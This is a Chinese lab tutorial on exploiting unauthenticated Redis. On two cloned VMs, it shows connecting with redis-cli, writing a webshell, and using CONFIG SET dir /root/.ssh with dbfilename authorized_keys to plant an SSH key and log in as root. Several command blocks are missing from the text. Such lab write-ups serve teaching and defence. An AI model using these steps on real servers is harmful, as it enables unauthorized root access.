redis(未授权访问漏洞)

环境准备

  1. 下载并安装Redis

    首先,下载Redis的源代码包并解压:

    wget http://download.redis.io/releases/redis-2.8.17.tar.gz
    tar xzf redis-2.8.17.tar.gz
    cd redis-2.8.17
    


    接着,编译安装Redis:


    编译完成后,进入src目录,将redis-serverredis-cli拷贝到/usr/bin目录下:

    cd src
    sudo cp redis-server redis-cli /usr/bin/
    


    然后,将Redis配置文件redis.conf拷贝到/etc/目录下:

    cd ..
    sudo cp redis.conf /etc/
    


    使用配置文件启动Redis服务:

    sudo redis-server /etc/redis.conf
    

  2. 克隆虚拟机

    将当前虚拟机克隆为两台虚拟机,一台作为攻击机,一台作为靶机。设定如下IP地址:

    • 攻击机 IP: 192.168.205.148
    • 靶    机 IP: 192.168.205.149

    启动Redis服务后,我们将使用redis-cli工具在攻击机上与靶机上的Redis服务进行交互。

未授权访问漏洞测试

Redis在未启用认证的情况下,可能允许任何人无授权访问。使用Redis客户端直接连接靶机Redis服务进行验证:

redis-cli -h 192.168.205.149

若能成功连接且未要求认证,则说明Redis服务存在未授权访问漏洞。

利用Redis写入Webshell

利用Redis未授权访问漏洞,可以写入Webshell来实现远程代码执行。以下是利用Redis的步骤:

  1. 确认条件

    • 靶机Redis服务未启用认证
    • 攻击机能通过redis-cli连接到靶机
    • 靶机上有Web服务器,并且知道Web服务器的路径
  2. 写入Webshell

    将Webshell写入靶机的Web目录。例如,将Webshell写入/home/wcy/目录下:

    确认Webshell是否成功写入后,在靶机上以验证:

利用Redis公私钥认证获取Root权限

当Redis服务以Root权限运行时,可以通过向Redis中写入SSH公钥文件来获得Root权限。以下是具体步骤:

  1. 配置Redis

    启动Redis服务:

    sudo redis-server /etc/redis.conf
    
  2. 创建SSH公钥目录

    在靶机中创建SSH公钥存放目录:

    mkdir /root/.ssh
    
  3. 生成SSH密钥对

    在攻击机上生成SSH密钥对,并将公钥保存到文件中:



  4. 将公钥写入Redis

    连接到靶机Redis服务:

    redis-cli -h 192.168.205.149
    


    获取Redis配置中的目录路径:

    CONFIG GET dir
    


    将目录路径更改为SSH公钥目录,并将公钥文件名设置为authorized_keys

    CONFIG SET dir /root/.ssh
    CONFIG SET dbfilename authorized_keys
    



    将公钥写入Redis:

  5. 验证并使用SSH登录

    在攻击机上,使用生成的私钥进行SSH免密登录:

    ssh -i id_rsa root@192.168.205.149

    成功登录后,即完成了利用Redis未授权访问漏洞获取Root权限的过程。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值